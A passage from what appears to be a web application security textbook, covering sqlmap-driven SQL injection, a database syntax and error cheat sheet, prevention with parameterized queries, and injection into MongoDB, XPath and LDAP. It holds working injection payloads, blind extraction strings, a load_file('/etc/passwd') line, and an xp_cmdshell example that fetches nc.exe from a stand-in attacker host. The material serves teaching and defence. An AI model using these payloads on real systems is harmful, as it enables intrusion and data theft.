NOTE **These tools are primarily exploitation tools, best suited to extracting data from the database by exploiting an injection point that you have already identified and understood. They are not a magic bullet for finding and exploiting SQL injection flaws. In practice, it is often necessary to provide some additional SQL syntax before and/or after the data injected by the tool for the tool's hard-coded attacks to work.**

HACK STEPS

When you have identified a SQL injection vulnerability, using the techniques described earlier in this chapter, you can consider using a SQL injection tool to exploit the vulnerability and retrieve interesting data from the database. This option is particularly useful in cases where you need to use blind techniques to retrieve a small amount of data at a time.

1. **Run the SQL exploitation tool using an intercepting proxy. Analyze the requests made by the tool as well as the application's responses. Turn on any verbose output options on the tool, and correlate its progress with the observed queries and responses.**

Continued

HACK STEPS *(CONTINUED)*

2. **Because these kinds of tools rely on preset tests and specific response syntax, it may be necessary to append or prepend data to the string injected by the tool to ensure that the tool gets the expected response. Typical requirements are adding a comment character, balancing the single quotes within the server's SQL query, and appending or prepending closing brackets to the string to match the original query.**
3. **If the syntax appears to be failing regardless of the methods described here, it is often easiest to create a nested subquery that is fully under your control, and allow the tool to inject into that. This allows the tool to use inference to extract data. Nested queries work well when you inject into standard `SELECT` and `UPDATE` queries. Under Oracle they work within an `INSERT` statement. In each of the following cases, prepend the text occurring before `[input]`, and append the closing bracket occurring after that point:**
   - **Oracle: `'||(select 1 from dual where 1=[input])`**
   - **MS-SQL: `(select 1 where 1=[input])`**

Numerous tools exist for automated exploitation of SQL injection. Many of these are specifically geared toward MS-SQL, and many have ceased active development and have been overtaken by new techniques and developments in SQL injection. The authors' favorite is sqlmap, which can attack MySQL, Oracle, and MS-SQL, among others. It implements `UNION`-based and inference-based retrieval. It supports various escalation methods, including retrieval of files from the operating system, and command execution under Windows using `xp_cmdshell`.

In practice, sqlmap is an effective tool for database information retrieval through time-delay or other inference methods and can be useful for `UNION`-based retrieval. One of the best ways to use it is with the `--sql-shell` option. This gives the attacker a SQL prompt and performs the necessary `UNION`, error-based, or blind SQL injection behind the scenes to send and retrieve results. For example:

```
C:\sqlmap>sqlmap.py -u http://wahh-app.com/employees?Empno=7369 --union-use
 --sql-shell -p Empno

    sqlmap/0.8 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

[*] starting at: 14:54:39

[14:54:39] [INFO] using 'C:\sqlmap\output\wahh-app.com\session'
 as session file
[14:54:39] [INFO] testing connection to the target url
[14:54:40] [WARNING] the testable parameter 'Empno' you provided is not
```

```
into the
 Cookie
[14:54:40] [INFO] testing if the url is stable, wait a few seconds
[14:54:44] [INFO] url is stable
[14:54:44] [INFO] testing sql injection on GET parameter 'Empno' with 0
 parenthesis
[14:54:44] [INFO] testing unescaped numeric injection on GET parameter
'Empno'
[14:54:46] [INFO] confirming unescaped numeric injection on GET
parameter 'Empno'
[14:54:47] [INFO] GET parameter 'Empno' is unescaped numeric injectable
with 0
 parenthesis
[14:54:47] [INFO] testing for parenthesis on injectable parameter
[14:54:50] [INFO] the injectable parameter requires 0 parenthesis
[14:54:50] [INFO] testing MySQL
[14:54:51] [WARNING] the back-end DMBS is not MySQL
[14:54:51] [INFO] testing Oracle
[14:54:52] [INFO] confirming Oracle
[14:54:53] [INFO] the back-end DBMS is Oracle
web server operating system: Windows 2000
web application technology: ASP, Microsoft IIS 5.0
back-end DBMS: Oracle

[14:54:53] [INFO] testing inband sql injection on parameter 'Empno' with
NULL
 bruteforcing technique
[14:54:58] [INFO] confirming full inband sql injection on parameter
'Empno'
[14:55:00] [INFO] the target url is affected by an exploitable full
inband
 sql injection vulnerability
valid union:    'http://wahh-app.com:80/employees.asp?Empno=7369%20
UNION%20ALL%20SEL
ECT%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%20FROM%20DUAL--%20AND%20
3663=3663'

[14:55:00] [INFO] calling Oracle shell. To quit type 'x' or 'q' and
press ENTER
sql-shell> select banner from v$version
do you want to retrieve the SQL statement output? [Y/n]
[14:55:19] [INFO] fetching SQL SELECT statement query output: 'select banner
 from v$version'
select banner from v$version [5]:
[*] CORE        9.2.0.1.0       Production
[*] NLSRTL Version 9.2.0.1.0 - Production
[*] Oracle9i Enterprise Edition Release 9.2.0.1.0 - Production
[*] PL/SQL Release 9.2.0.1.0 - Production
[*] TNS for 32-bit Windows: Version 9.2.0.1.0 - Production

sql-shell>
```

SQL Syntax and Error Reference

We have described numerous techniques that enable you to probe for and exploit SQL injection vulnerabilities in web applications. In many cases, there are minor differences between the syntax that you need to employ against different back-end database platforms. Furthermore, every database produces different error messages whose meaning you need to understand both when probing for flaws and when attempting to craft an effective exploit. The following pages contain a brief cheat sheet that you can use to look up the exact syntax you need for a particular task and to decipher any unfamiliar error messages you encounter.

SQL Syntax

Requirement:	`ASCII` and `SUBSTRING`
Oracle:	`ASCII('A')` is equal to `65` `SUBSTR('ABCDE',2,3)` is equal to `BCD`
MS-SQL:	`ASCII('A')` is equal to `65` `SUBSTRING('ABCDE',2,3)` is equal to `BCD`
MySQL:	`ASCII('A')` is equal to `65` `SUBSTRING('ABCDE',2,3)` is equal to `BCD`

Requirement:	Retrieve current database user
Oracle:	`Select Sys.login_user from dual SELECT user FROM dual SYS_CONTEXT('USERENV', 'SESSION_USER')`
MS-SQL:	`select suser_sname()`
MySQL:	`SELECT user()`

Requirement:	Cause a time delay
Oracle:	`Utl_Http.request('http://madeupserver.com')`
MS-SQL:	`waitfor delay '0:0:10'` `exec master..xp_cmdshell 'ping localhost'`
MySQL:	`sleep(100)`

Requirement:	Retrieve database version string
Oracle:	`select banner from v$version`
MS-SQL:	`select @@version`
MySQL:	`select @@version`

Requirement:	Retrieve current database
Oracle:	`SELECT SYS_CONTEXT('USERENV','DB_NAME') FROM dual`

MS-SQL:	`SELECT db_name()`
	The server name can be retrieved using:
	`SELECT @@servername`

MySQL:	`SELECT database()`

Requirement:	Retrieve current user's privilege
Oracle:	`SELECT privilege FROM session_privs`
MS-SQL:	`SELECT grantee, table_name, privilege_type FROM INFORMATION_SCHEMA.TABLE_PRIVILEGES`
MySQL:	`SELECT * FROM information_schema.user_privileges WHERE grantee = '[user]'` where `[user]` is determined from the output of `SELECT user()`

Requirement:	Show all tables and columns in a single column of results
Oracle:	`Select table_name||' '||column_name from all_tab_columns`
MS-SQL:	`SELECT table_name+' '+column_name from information_schema.columns`
MySQL:	`SELECT CONCAT(table_name, ',column_name) from information_schema.columns`

Requirement:	Show user objects
Oracle:	`SELECT object_name, object_type FROM user_objects`
MS-SQL:	`SELECT name FROM sysobjects`
MySQL:	`SELECT table_name FROM information_schema.tables` (or trigger_name from `information_schema.triggers`, etc.)

Continued

(continued)

Requirement:	Show user tables

Oracle:	`SELECT object_name, object_type FROM user_objects WHERE object_type='TABLE'`
	Or to show all tables to which the user has access:
	`SELECT table_name FROM all_tables`

MS-SQL:	`SELECT name FROM sysobjects WHERE xtype='U'`
MySQL:	`SELECT table_name FROM information_schema.tables where table_type='BASE TABLE' and table_schema!='mysql'`

Requirement:	Show column names for table foo
Oracle:	`SELECT column_name, name FROM user_tab_columns WHERE table_name = 'FOO'` Use the `ALL_tab_columns` table if the target data is not owned by the current application user.
MS-SQL:	`SELECT column_name FROM information_schema.columns WHERE table_name='foo'`
MySQL:	`SELECT column_name FROM information_schema.columns WHERE table_name='foo'`

Requirement:	Interact with the operating system (simplest ways)
Oracle:	See *The Oracle Hacker's Handbook* by David Litchfield
MS-SQL:	`EXEC xp_cmshell 'dir c:\ '`
MySQL:	`SELECT load_file('/etc/passwd')`

SQL Error Messages

Oracle:	`ORA-01756: quoted string not properly terminated` `ORA-00933: SQL command not properly ended`

MS-SQL:	`Msg 170, Level 15, State 1, Line 1`
	`Line 1: Incorrect syntax near 'foo'`
	`Msg 105, Level 15, State 1, Line 1`
	`Unclosed quotation mark before the character string 'foo'`

MySQL:	`You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ''foo' at line X`
Translation:	For Oracle and MS-SQL, SQL injection is present, and it is almost certainly exploitable! If you entered a single quote and it altered the syntax of the database query, this is the error you'd expect. For MySQL, SQL injection may be present, but the same error message can appear in other contexts.

Oracle:	`PLS-00306: wrong number or types of arguments in call to 'XXX'`
MS-SQL:	`Procedure 'XXX' expects parameter '@YYY', which was not supplied`
MySQL:	N/A
Translation:	You have commented out or removed a variable that normally would be supplied to the database. In MS-SQL, you should be able to use time delay techniques to perform arbitrary data retrieval.

Oracle:	`ORA-01789: query block has incorrect number of result columns`
MS-SQL:	`Msg 205, Level 16, State 1, Line 1` `All queries in a SQL statement containing a UNION operator must have an equal number of expressions in their target lists.`
MySQL:	`The used SELECT statements have a different number of columns`
Translation:	You will see this when you are attempting a `UNION SELECT` attack, and you have specified a different number of columns to the number in the original `SELECT` statement.

Oracle:	`ORA-01790: expression must have same datatype as corresponding expression`
MS-SQL:	`Msg 245, Level 16, State 1, Line 1` `Syntax error converting the varchar value 'foo' to a column of data type int.`
MySQL:	(MySQL will not give you an error.)
Translation:	You will see this when you are attempting a `UNION SELECT` attack, and you have specified a different data type from that found in the original `SELECT` statement. Try using a `NULL`, or using `1` or `2000`.

Continued

(continued)

Oracle:	`ORA-01722: invalid number`
	
	`ORA-01858: a non-numeric character was found where a numeric was expected`

MS-SQL:	`Msg 245, Level 16, State 1, Line 1`
	
	`Syntax error converting the varchar value 'foo' to a column of data type int.`

MySQL:	(MySQL will not give you an error.)
Translation:	Your input doesn't match the expected data type for the field. You may have SQL injection, and you may not need a single quote, so try simply entering a number followed by your SQL to be injected. In MS-SQL, you should be able to return any string value with this error message.

Oracle:	`ORA-00923: FROM keyword not found where expected`
MS-SQL:	N/A
MySQL:	N/A

Translation:	The following will work in MS-SQL:
	
	`SELECT 1`
	
	But in Oracle, if you want to return something, you must select from a table. The `DUAL` table will do fine:
	
	`SELECT 1 from DUAL`

Oracle:	`ORA-00936: missing expression`
MS-SQL:	`Msg 156, Level 15, State 1, Line 1Incorrect syntax near the keyword 'from'.`
MySQL:	`You have an error in your SQL syntax.  Check the manual that corresponds to your MySQL server version for the right syntax to use near ' XXX , YYY from SOME_TABLE' at line 1`
Translation:	You commonly see this error message when your injection point occurs before the `FROM` keyword (for example, you have injected into the columns to be returned) and/or you have used the comment character to remove required SQL keywords. Try completing the SQL statement yourself while using your comment character. MySQL should helpfully reveal the column names XXX, YYY when this condition is encountered.

Oracle:	`ORA-00972:identifier is too long`
MS-SQL:	`String or binary data would be truncated.`
MySQL:	N/A
Translation:	This does not indicate SQL injection. You may see this error message if you have entered a long string. You're unlikely to get a buffer overflow here either, because the database is handling your input safely.

Oracle:	`ORA-00942: table or view does not exist`
MS-SQL:	`Msg 208, Level 16, State 1, Line 1` `Invalid object name 'foo'`
MySQL:	`Table 'DBNAME.SOMETABLE' doesn't exist`
Translation:	Either you are trying to access a table or view that does not exist, or, in the case of Oracle, the database user does not have privileges for the table or view. Test your query against a table you know you have access to, such as `DUAL`. MySQL should helpfully reveal the current database schema `DBNAME` when this condition is encountered.

Oracle:	`ORA-00920: invalid relational operator`
MS-SQL:	`Msg 170, Level 15, State 1, Line 1` `Line 1: Incorrect syntax near foo`
MySQL:	`You have an error in your SQL syntax.  Check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1`
Translation:	You were probably altering something in a `WHERE` clause, and your SQL injection attempt has disrupted the grammar.

Oracle:	`ORA-00907: missing right parenthesis`
MS-SQL:	N/A
MySQL:	`You have an error in your SQL syntax.  Check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1`
Translation:	Your SQL injection attempt has worked, but the injection point was inside parentheses. You probably commented out the closing parenthesis with injected comment characters (`--`).

Continued

(continued)

Oracle:	`ORA-00900: invalid SQL statement`
MS-SQL:	`Msg 170, Level 15, State 1, Line 1` `Line 1: Incorrect syntax near foo`
MySQL:	`You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near XXXXXX`
Translation:	A general error message. The error messages listed previously all take precedence, so something else went wrong. It's likely you can try alternative input and get a more meaningful message.

Oracle:	`ORA-03001: unimplemented feature`
MS-SQL:	N/A
MySQL:	N/A
Translation:	You have tried to perform an action that Oracle does not allow. This can happen if you were trying to display the database version string from `v$version` but you were in an `UPDATE` or `INSERT` query.

Oracle:	`ORA-02030: can only select from fixed tables/views`
MS-SQL:	N/A
MySQL:	N/A
Translation:	You were probably trying to edit a `SYSTEM` view. This can happen if you were trying to display the database version string from `v$version` but you were in an `UPDATE` or `INSERT` query.

Preventing SQL Injection

Despite all its different manifestations, and the complexities that can arise in its exploitation, SQL injection is in general one of the easier vulnerabilities to prevent. Nevertheless, discussion about SQL injection countermeasures is frequently misleading, and many people rely on defensive measures that are only partially effective.

Partially Effective Measures

Because of the prominence of the single quotation mark in the standard explanations of SQL injection flaws, a common approach to preventing attacks is to escape any single quotation marks within user input by doubling them. You have already seen two situations in which this approach fails:

- If numeric user-supplied data is being embedded into SQL queries, this is not usually encapsulated within single quotation marks. Hence, an

attacker can break out of the data context and begin entering arbitrary SQL without the need to supply a single quotation mark.

- In second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that were doubled initially return to their original form when the data is reused.

Another countermeasure that is often cited is the use of stored procedures for all database access. There is no doubt that custom stored procedures can provide security and performance benefits. However, they are not guaranteed to prevent SQL injection vulnerabilities for two reasons:

- As you saw in the case of Oracle, a poorly written stored procedure can contain SQL injection vulnerabilities within its own code. Similar security issues arise when constructing SQL statements within stored procedures as arise elsewhere. The fact that a stored procedure is being used does not prevent flaws from occurring.
- Even if a robust stored procedure is being used, SQL injection vulnerabilities can arise if it is invoked in an unsafe way using user-supplied input. For example, suppose that a user registration function is implemented within a stored procedure, which is invoked as follows:

  ```
  exec sp_RegisterUser 'joe', 'secret'
  ```

  This statement may be just as vulnerable as a simple `INSERT` statement. For example, an attacker may supply the following password:

  ```
  foo'; exec master..xp_cmdshell 'tftp wahh-attacker.com GET nc.exe'--
  ```

  which causes the application to perform the following batch query:

  ```
  exec sp_RegisterUser 'joe', 'foo'; exec master..xp_cmdshell 'tftp
  wahh-attacker.com GET nc.exe'--'
  ```

  Therefore, the use of the stored procedure has achieved nothing.

In fact, in a large and complex application that performs thousands of different SQL statements, many developers regard the solution of reimplementing these statements as stored procedures to be an unjustifiable overhead on development time.

Parameterized Queries

Most databases and application development platforms provide APIs for handling untrusted input in a secure way, which prevents SQL injection vulnerabilities from arising. In parameterized queries (also known as *prepared statements*), the construction of a SQL statement containing user input is performed in two steps:

1. The application specifies the query's structure, leaving placeholders for each item of user input.
2. The application specifies the contents of each placeholder.

Crucially, there is no way in which crafted data that is specified at the second step can interfere with the structure of the query specified in the first step. Because the query structure has already been defined, the relevant API handles any type of placeholder data in a safe manner, so it is always interpreted as data rather than part of the statement's structure.

The following two code samples illustrate the difference between an unsafe query dynamically constructed from user data and its safe parameterized counterpart. In the first, the user-supplied `name` parameter is embedded directly into a SQL statement, leaving the application vulnerable to SQL injection:

```
//define the query structure
String queryText = "select ename,sal from emp where ename ='";

//concatenate the user-supplied name
queryText += request.getParameter("name");
queryText += "'";

// execute the query
stmt = con.createStatement();
rs = stmt.executeQuery(queryText);
```

In the second example, the query structure is defined using a question mark as a placeholder for the user-supplied parameter. The `prepareStatement` method is invoked to interpret this and fix the structure of the query that is to be executed. Only then is the `setString` method used to specify the parameter's actual value. Because the query's structure has already been fixed, this value can contain any data without affecting the structure. The query is then executed safely:

```
//define the query structure
String queryText = "SELECT ename,sal FROM EMP WHERE ename = ?";

//prepare the statement through DB connection "con"
stmt = con.prepareStatement(queryText);

//add the user input to variable 1 (at the first ? placeholder)
stmt.setString(1, request.getParameter("name"));

// execute the query
rs = stmt.executeQuery();
```

NOTE The precise methods and syntax for creating parameterized queries differ among databases and application development platforms. See Chapter 18 for more details about the most common examples.

If parameterized queries are to be an effective solution against SQL injection, you need to keep in mind several important provisos:

- They should be used for every database query. The authors have encountered many applications where the developers made a judgment in each case about whether to use a parameterized query. In cases where user-supplied input was clearly being used, they did so; otherwise, they didn't bother. This approach has been the cause of many SQL injection flaws. First, by focusing only on input that has been immediately received from the user, it is easy to overlook second-order attacks, because data that has already been processed is assumed to be trusted. Second, it is easy to make mistakes about the specific cases in which the data being handled is user-controllable. In a large application, different items of data are held within the session or received from the client. Assumptions made by one developer may not be communicated to others. The handling of specific data items may change in the future, introducing a SQL injection flaw into previously safe queries. It is much safer to take the approach of mandating the use of parameterized queries throughout the application.
- Every item of data inserted into the query should be properly parameterized. The authors have encountered numerous cases where most of a query's parameters are handled safely, but one or two items are concatenated directly into the string used to specify the query structure. The use of parameterized queries will not prevent SQL injection if some parameters are handled in this way.
- Parameter placeholders cannot be used to specify the table and column names used in the query. In some rare cases, applications need to specify these items within a SQL query on the basis of user-supplied data. In this situation, the best approach is to use a white list of known good values (the list of tables and columns actually used within the database) and to reject any input that does not match an item on this list. Failing this, strict validation should be enforced on the user input — for example, allowing only alphanumeric characters, excluding whitespace, and enforcing a suitable length limit.
- Parameter placeholders cannot be used for any other parts of the query, such as the `ASC` or `DESC` keywords that appear within an `ORDER BY` clause, or any other SQL keyword, since these form part of the query structure. As with table and column names, if it is necessary for these items to be specified based on user-supplied data, rigorous white list validation should be applied to prevent attacks.

Defense in Depth

As always, a robust approach to security should employ defense-in-depth measures to provide additional protection in the event that frontline defenses fail for any reason. In the context of attacks against back-end databases, three layers of further defense can be employed:

- The application should use the lowest possible level of privileges when accessing the database. In general, the application does not need DBA-level permissions. It usually only needs to read and write its own data. In security-critical situations, the application may employ a different database account for performing different actions. For example, if 90 percent of its database queries require only read access, these can be performed using an account that does not have write privileges. If a particular query needs to read only a subset of data (for example, the orders table but not the user accounts table), an account with the corresponding level of access can be used. If this approach is enforced throughout the application, any residual SQL injection flaws that may exist are likely to have their impact significantly reduced.
- Many enterprise databases include a huge amount of default functionality that can be leveraged by an attacker who gains the ability to execute arbitrary SQL statements. Wherever possible, unnecessary functions should be removed or disabled. Even though there are cases where a skilled and determined attacker may be able to recreate some required functions through other means, this task is not usually straightforward, and the database hardening will still place significant obstacles in the attacker's path.
- All vendor-issued security patches should be evaluated, tested, and applied in a timely way to fix known vulnerabilities within the database software itself. In security-critical situations, database administrators can use various subscriber-based services to obtain advance notification of some known vulnerabilities that have not yet been patched by the vendor. They can implement appropriate work-around measures in the interim.

Injecting into NoSQL

The term NoSQL is used to refer to various data stores that break from standard relational database architectures. NoSQL data stores represent data using key/value mappings and do not rely on a fixed schema such as a conventional database table. Keys and values can be arbitrarily defined, and the format of the value generally is not relevant to the data store. A further feature of key/value storage is that a value may be a data structure itself, allowing hierarchical storage, unlike the flat data structure inside a database schema.

NoSQL advocates claim this has several advantages, mainly in handling very large data sets, where the data store's hierarchical structure can be optimized exactly as required to reduce the overhead in retrieving data sets. In these instances a conventional database may require complex cross-referencing of tables to retrieve information on behalf of an application.

From a web application security perspective, the key consideration is how the application queries data, because this determines what forms of injection are possible. In the case of SQL injection, the SQL language is broadly similar across different database products. NoSQL, by contrast, is a name given to a disparate range of data stores, all with their own behaviors. They don't all use a single query language.

Here are some of the common query methods used by NoSQL data stores:

- Key/value lookup
- XPath (described later in this chapter)
- Programming languages such as JavaScript

NoSQL is a relatively new technology that has evolved rapidly. It has not been deployed on anything like the scale of more mature technologies such as SQL. Hence, research into NoSQL-related vulnerabilities is still in its infancy. Furthermore, due to the inherently simple means by which many NoSQL implementations allow access to data, examples sometimes discussed of injecting into NoSQL data stores can appear contrived.

It is almost certain that exploitable vulnerabilities will arise in how NoSQL data stores are used in today's and tomorrow's web applications. One such example, derived from a real-world application, is described in the next section.

Injecting into MongoDB

Many NoSQL databases make use of existing programming languages to provide a flexible, programmable query mechanism. If queries are built using string concatenation, an attacker can attempt to break out of the data context and alter the query's syntax. Consider the following example, which performs a login based on user records in a MongoDB data store:

```
$m = new Mongo();
$db = $m->cmsdb;
$collection = $db->user;
$js = "function() {
 return this.username == '$username' & this.password == '$password'; }";

$obj = $collection->findOne(array('$where' => $js));

if (isset($obj["uid"]))
{
     $logged_in=1;
```

```
}
else
{
     $logged_in=0;
}
```

`$js` is a JavaScript function, the code for which is constructed dynamically and includes the user-supplied username and password. An attacker can bypass the authentication logic by supplying a username:

```
Marcus'//
```

and any password. The resulting JavaScript function looks like this:

```
function() { return this.username == 'Marcus'//' & this.password == 'aaa'; }
```

NOTE **In JavaScript, a double forward slash (`//`) signifies a rest-of-line comment, so the remaining code in the function is commented out.**

An alternative means of ensuring that the `$js` function always returns `true`, without using a comment, would be to supply a username of:

```
a' || 1==1 || 'a'=='a
```

JavaScript interprets the various operators like this:

```
(this.username == 'a' || 1==1) || ('a'=='a' & this.password ==
'aaa');
```

This results in all of the resources in the user collection being matched, since the first disjunctive condition is always true (1 is always equal to 1).

Injecting into XPath

The XML Path Language (XPath) is an interpreted language used to navigate around XML documents and to retrieve data from within them. In most cases, an XPath expression represents a sequence of steps that is required to navigate from one node of a document to another.

Where web applications store data within XML documents, they may use XPath to access the data in response to user-supplied input. If this input is inserted into the XPath query without any filtering or sanitization, an attacker may be able to manipulate the query to interfere with the application's logic or retrieve data for which she is not authorized.

XML documents generally are not a preferred vehicle for storing enterprise data. However, they are frequently used to store application configuration data that may be retrieved on the basis of user input. They may also be used by smaller applications to persist simple information such as user credentials, roles, and privileges.

Consider the following XML data store:

```
<addressBook>
    <address>
        <firstName>William</firstName>
        <surname>Gates</surname>
        <password>MSRocks!</password>
        <email>billyg@microsoft.com</email>
        <ccard>5130 8190 3282 3515</ccard>
    </address>
    <address>
        <firstName>Chris</firstName>
        <surname>Dawes</surname>
        <password>secret</password>
        <email>cdawes@craftnet.de</email>
        <ccard>3981 2491 3242 3121</ccard>
    </address>
    <address>
        <firstName>James</firstName>
        <surname>Hunter</surname>
        <password>letmein</password>
        <email>james.hunter@pookmail.com</email>
        <ccard>8113 5320 8014 3313</ccard>
    </address>
</addressBook>
```

An XPath query to retrieve all e-mail addresses would look like this:

```
//address/email/text()
```

A query to return all the details of the user Dawes would look like this:

```
//address[surname/text()='Dawes']
```

In some applications, user-supplied data may be embedded directly into XPath queries, and the results of the query may be returned in the application's response or used to determine some aspect of the application's behavior.

Subverting Application Logic

Consider an application function that retrieves a user's stored credit card number based on a username and password. The following XPath query effectively verifies the user-supplied credentials and retrieves the relevant user's credit card number:

```
//address[surname/text()='Dawes' and password/text()='secret']/ccard/
text()
```

In this case, an attacker may be able to subvert the application's query in an identical way to a SQL injection flaw. For example, supplying a password with this value:

```
' or 'a'='a
```

results in the following XPath query, which retrieves the credit card details of all users:

```
//address[surname/text()='Dawes' and password/text()='' or 'a'='a']/
ccard/text()
```

NOTE

- **As with SQL injection, single quotation marks are not required when injecting into a numeric value.**
- **Unlike SQL queries, keywords in XPath queries are case-sensitive, as are the element names in the XML document itself.**

Informed XPath Injection

XPath injection flaws can be exploited to retrieve arbitrary information from within the target XML document. One reliable way of doing this uses the same technique as was described for SQL injection, of causing the application to respond in different ways, contingent on a condition specified by the attacker.

Submitting the following two passwords will result in different behavior by the application. Results are returned in the first case but not in the second:

```
' or 1=1 and 'a'='a
' or 1=2 and 'a'='a
```

This difference in behavior can be leveraged to test the truth of any specified condition and, therefore, extract arbitrary information one byte at a time. As with SQL, the XPath language contains a substring function that can be used to test the value of a string one character at a time. For example, supplying this password:

```
' or //address[surname/text()='Gates' and substring(password/text(),1,1)=
 'M'] and 'a'='a
```

results in the following XPath query, which returns results if the first character of the Gates user's password is `M`:

```
//address[surname/text()='Dawes' and password/text()='' or
//address[surname/text()='Gates' and substring(password/text(),1,1)= 'M']
and 'a'='a ']/ccard/text()
```

By cycling through each character position and testing each possible value, an attacker can extract the full value of Gates' password.

TRY IT!

```
http://mdsec.net/cclookup/14/
```

Blind XPath Injection

In the attack just described, the injected test condition specified both the absolute path to the extracted data (`address`) and the names of the targeted fields (`surname` and `password`). In fact, it is possible to mount a fully blind attack without possessing this information. XPath queries can contain steps that are relative to the current node within the XML document, so from the current node it is possible to navigate to the parent node or to a specific child node. Furthermore, XPath contains functions to query meta-information about the document, including the name of a specific element. Using these techniques, it is possible to extract the names and values of all nodes within the document without knowing any prior information about its structure or contents.

For example, you can use the substring technique described previously to extract the name of the current node's parent by supplying a series of passwords of this form:

```
' or substring(name(parent::*[position()=1]),1,1)= 'a
```

This input generates results, because the first letter of the `address` node is `a`. Moving on to the second letter, you can confirm that this is `d` by supplying the following passwords, the last of which generates results:

```
' or substring(name(parent::*[position()=1]),2,1)='a
' or substring(name(parent::*[position()=1]),2,1)='b
' or substring(name(parent::*[position()=1]),2,1)='c
' or substring(name(parent::*[position()=1]),2,1)='d
```

Having established the name of the `address` node, you can then cycle through each of its child nodes, extracting all their names and values. Specifying the relevant child node by index avoids the need to know the names of any nodes. For example, the following query returns the value `Hunter`:

```
//address[position()=3]/child::node()[position()=4]/text()
```

And the following query returns the value `letmein`:

```
//address[position()=3]/child::node()[position()=6]/text()
```

This technique can be used in a completely blind attack, where no results are returned within the application's responses, by crafting an injected condition that specifies the target node by index. For example, supplying the following password returns results if the first character of Gates' password is `M`:

```
' or substring(//address[position()=1]/child::node()[position()=6]/
text(),1,1)= 'M' and 'a'='a
```

By cycling through every child node of every address node, and extracting their values one character at a time, you can extract the entire contents of the XML data store.

TIP **XPath contains two useful functions that can help you automate the preceding attack and quickly iterate through all nodes and data in the XML document:**

- **`count()` returns the number of child nodes of a given element, which can be used to determine the range of `position()` values to iterate over.**
- **`string-length()` returns the length of a supplied string, which can be used to determine the range of `substring()` values to iterate over.**

TRY IT!

```
http://mdsec.net/cclookup/19/
```

Finding XPath Injection Flaws

Many of the attack strings that are commonly used to probe for SQL injection flaws typically result in anomalous behavior when submitted to a function that is vulnerable to XPath injection. For example, either of the following two strings usually invalidates the XPath query syntax and generates an error:

```
'
'--
```

One or more of the following strings typically result in some change in the application's behavior without causing an error, in the same way as they do in relation to SQL injection flaws:

```
' or 'a'='a
' and 'a'='b
 or 1=1
 and 1=2
```

Hence, in any situation where your tests for SQL injection provide tentative evidence for a vulnerability, but you are unable to conclusively exploit the flaw, you should investigate the possibility that you are dealing with an XPath injection flaw.

HACK STEPS

1. **Try submitting the following values, and determine whether these result in different application behavior, without causing an error:**

```
' or count(parent::*[position()=1])=0 or 'a'='b
' or count(parent::*[position()=1])>0 or 'a'='b
```

   If the parameter is numeric, also try the following test strings:

```
1 or count(parent::*[position()=1])=0
1 or count(parent::*[position()=1])>0
```

2. **If any of the preceding strings causes differential behavior within the application without causing an error, it is likely that you can extract arbitrary data by crafting test conditions to extract one byte of information at a time. Use a series of conditions with the following form to determine the name of the current node's parent:**

```
substring(name(parent::*[position()=1]),1,1)='a'
```

3. **Having extracted the name of the parent node, use a series of conditions with the following form to extract all the data within the XML tree:**

```
substring(//parentnodename[position()=1]/child::node()
[position()=1]/text(),1,1)='a'
```

Preventing XPath Injection

If you think it is necessary to insert user-supplied input into an XPath query, this operation should only be performed on simple items of data that can be subjected to strict input validation. The user input should be checked against a white list of acceptable characters, which should ideally include only alphanumeric characters. Characters that may be used to interfere with the XPath query should be blocked, including `( ) = ' [ ] : , * /` and all whitespace. Any input that does not match the white list should be rejected, not sanitized.

Injecting into LDAP

The Lightweight Directory Access Protocol (LDAP) is used to access directory services over a network. A directory is a hierarchically organized data store that may contain any kind of information but is commonly used to store personal data such as names, telephone numbers, e-mail addresses, and job functions.

Common examples of LDAP are the Active Directory used within Windows domains, and OpenLDAP, used in various situations. You are most likely to encounter LDAP being used in corporate intranet-based web applications, such as an HR application that allows users to view and modify information about employees.

Each LDAP query uses one or more search filters, which determine the directory entries that are returned by the query. Search filters can use various logical operators to represent complex search conditions. The most common search filters you are likely to encounter are as follows:

- **Simple match conditions** match on the value of a single attribute. For example, an application function that searches for a user via his username might use this filter:

```
(username=daf)
```

- **Disjunctive queries** specify multiple conditions, any one of which must be satisfied by entries that are returned. For example, a search function that looks up a user-supplied search term in several directory attributes might use this filter:

```
(|(cn=searchterm)(sn=searchterm)(ou=searchterm))
```

- **Conjunctive queries** specify multiple conditions, all of which must be satisfied by entries that are returned. For example, a login mechanism implemented in LDAP might use this filter:

```
(&(username=daf)(password=secret)
```

As with other forms of injection, if user-supplied input is inserted into an LDAP search filter without any validation, it may be possible for an attacker to supply crafted input that modifies the filter's structure and thereby retrieve data or perform actions in an unauthorized way.

In general, LDAP injection vulnerabilities are not as readily exploitable as SQL injection flaws, due to the following factors:

- Where the search filter employs a logical operator to specify a conjunctive or disjunctive query, this usually appears before the point where user-supplied data is inserted and therefore cannot be modified. Hence, simple match conditions and conjunctive queries don't have an equivalent to the "`or 1=1`" type of attack that arises with SQL injection.
- In the LDAP implementations that are in common use, the directory attributes to be returned are passed to the LDAP APIs as a separate parameter from the search filter and normally are hard-coded within the application.

Hence, it usually is not possible to manipulate user-supplied input to retrieve different attributes than the query was intended to retrieve.

- Applications rarely return informative error messages, so vulnerabilities generally need to be exploited "blind."

Exploiting LDAP Injection

Despite the limitations just described, in many real-world situations it is possible to exploit LDAP injection vulnerabilities to retrieve unauthorized data from the application or to perform unauthorized actions. The details of how this is done typically are highly dependent on the construction of the search filter, the entry point for user input, and the implementation details of the back-end LDAP service itself.

Disjunctive Queries

Consider an application that lets users list employees within a specified department of the business. The search results are restricted to the geographic locations that the user is authorized to view. For example, if a user is authorized to view the London and Reading locations, and he searches for the "sales" department, the application performs the following disjunctive query:

```
(|(department=London sales)(department=Reading sales))
```

Here, the application constructs a disjunctive query and prepends different expressions before the user-supplied input to enforce the required access control.

In this situation, an attacker can subvert the query to return details of all employees in all locations by submitting the following search term:

```
)(department=*
```

The `*` character is a wildcard in LDAP; it matches any item. When this input is embedded into the LDAP search filter, the following query is performed:

```
(|(department=London )(department=*)(department=Reading )(department=*))
```

